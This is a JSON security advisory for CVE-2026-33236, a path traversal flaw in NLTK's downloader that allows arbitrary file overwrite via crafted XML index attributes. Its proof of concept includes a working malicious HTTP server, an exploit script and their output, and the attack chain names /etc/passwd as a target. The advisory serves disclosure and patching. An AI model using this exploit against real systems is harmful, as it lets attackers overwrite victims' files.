CVE-2026-33236: Nltk Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-469j-vmhf-r6v7",
  "modified" : "2026-03-25T18:21:27Z",
  "published" : "2026-03-19T12:42:42Z",
  "aliases" : [ "CVE-2026-33236" ],
  "summary" : "NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite",
  "details" : "## Vulnerability Description\n\nThe NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to:\n\n1. **Arbitrary Directory Creation**: Create directories at arbitrary locations in the file system\n2. **Arbitrary File Creation**: Create arbitrary files\n3. **Arbitrary File Overwrite**: Overwrite critical system files (such as `/etc/passwd`, `~/.ssh/authorized_keys`, etc.)\n\n## Vulnerability Principle\n\n### Key Code Locations\n\n**1. XML Parsing Without Validation** (`nltk/downloader.py:253`)\n```python\nself.filename = os.path.join(subdir, id + ext)\n```\n- `subdir` and `id` are directly from XML attributes without any validation\n\n**2. Path Construction Without Checks** (`nltk/downloader.py:679`)\n```python\nfilepath = os.path.join(download_dir, info.filename)\n```\n- Directly uses `filename` which may contain path traversal\n\n**3. Unrestricted Directory Creation** (`nltk/downloader.py:687`)\n```python\nos.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)\n```\n- Can create arbitrary directories outside the download directory\n\n**4. File Writing Without Protection** (`nltk/downloader.py:695`)\n```python\nwith open(filepath, \"wb\") as outfile:\n```\n- Can write to arbitrary locations in the file system\n\n### Attack Chain\n\n```\n1. Attacker controls remote XML index server\n   ↓\n2. Provides malicious XML: <package id=\"passwd\" subdir=\"../../etc\" .../>\n   ↓\n3. Victim executes: downloader.download('passwd')\n   ↓\n4. Package.fromxml() creates object, filename = \"../../etc/passwd.zip\"\n   ↓\n5. _download_package() constructs path: download_dir + \"../../etc/passwd.zip\"\n   ↓\n6. os.makedirs() creates directory: download_dir + \"../../etc\"\n   ↓\n7. open(filepath, \"wb\") writes file to /etc/passwd.zip\n   ↓\n8. System file is overwritten!\n```\n\n## Impact Scope\n1. **System File Overwrite**\n\n## Reproduction Steps\n\n### Environment Setup\n\n1. Install NLTK\n```bash\npip install nltk\n```\n\n2. Prepare malicious server and exploit script (see PoC section)\n\n### Reproduction Process\n\n**Step 1: Start malicious server**\n```bash\npython3 malicious_server.py\n```\n\n**Step 2: Run exploit script**\n```bash\npython3 exploit_vulnerability.py\n```\n\n**Step 3: Verify results**\n```bash\nls -la /tmp/test_file.zip\n```\n\n## Proof of Concept\n\n### Malicious Server (malicious_server.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Malicious HTTP Server - Provides XML index with path traversal\"\"\"\nimport os\nimport tempfile\nimport zipfile\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\n# Create temporary directory\nserver_dir = tempfile.mkdtemp(prefix=\"nltk_malicious_\")\n\n# Create malicious XML (contains path traversal)\nmalicious_xml = \"\"\"<?xml version=\"1.0\"?>\n<nltk_data>\n  <packages>\n    <package id=\"test_file\" subdir=\"../../../../../../../../../tmp\" \n             url=\"http://127.0.0.1:8888/test.zip\" \n             size=\"100\" unzipped_size=\"100\" unzip=\"0\"/>\n  </packages>\n</nltk_data>\n\"\"\"\n\n# Save files\nwith open(os.path.join(server_dir, \"malicious_index.xml\"), \"w\") as f:\n    f.write(malicious_xml)\n\nwith zipfile.ZipFile(os.path.join(server_dir, \"test.zip\"), \"w\") as zf:\n    zf.writestr(\"test.txt\", \"Path traversal attack!\")\n\n# HTTP Handler\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        if self.path == '/malicious_index.xml':\n            self.send_response(200)\n            self.send_header('Content-type', 'application/xml')\n            self.end_headers()\n            with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:\n                self.wfile.write(f.read())\n        elif self.path == '/test.zip':\n            self.send_response(200)\n            self.send_header('Content-type', 'application/zip')\n            self.end_headers()\n            with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:\n                self.wfile.write(f.read())\n        else:\n            self.send_response(404)\n            self.end_headers()\n    \n    def log_message(self, format, *args):\n        pass\n\n# Start server\nif __name__ == \"__main__\":\n    port = 8888\n    server = HTTPServer((\"0.0.0.0\", port), Handler)\n    print(f\"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml\")\n    print(\"Press Ctrl+C to stop\")\n    try:\n        server.serve_forever()\n    except KeyboardInterrupt:\n        print(\"\\nServer stopped\")\n```\n\n### Exploit Script (exploit_vulnerability.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"AFO Vulnerability Exploit Script\"\"\"\nimport os\nimport tempfile\n\ndef exploit(server_url=\"http://127.0.0.1:8888/malicious_index.xml\"):\n    download_dir = tempfile.mkdtemp(prefix=\"nltk_exploit_\")\n    print(f\"Download directory: {download_dir}\")\n    \n    # Exploit vulnerability\n    from nltk.downloader import Downloader\n    downloader = Downloader(server_index_url=server_url, download_dir=download_dir)\n    downloader.download(\"test_file\", quiet=True)\n    \n    # Check results\n    expected_path = \"/tmp/test_file.zip\"\n    if os.path.exists(expected_path):\n        print(f\"\\n✗ Exploit successful! File written to: {expected_path}\")\n        print(f\"✗ Path traversal attack successful!\")\n    else:\n        print(f\"\\n? File not found, download may have failed\")\n\nif __name__ == \"__main__\":\n    exploit()\n```\n\n### Execution Results\n\n```\n✗ Exploit successful! File written to: /tmp/test_file.zip\n✗ Path traversal attack successful!\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "nltk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.9.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/security/advisories/GHSA-469j-vmhf-r6v7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33236"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/commit/89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nltk/nltk"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-19T12:42:42Z",
    "nvd_published_at" : "2026-03-20T23:16:47Z"
  }
}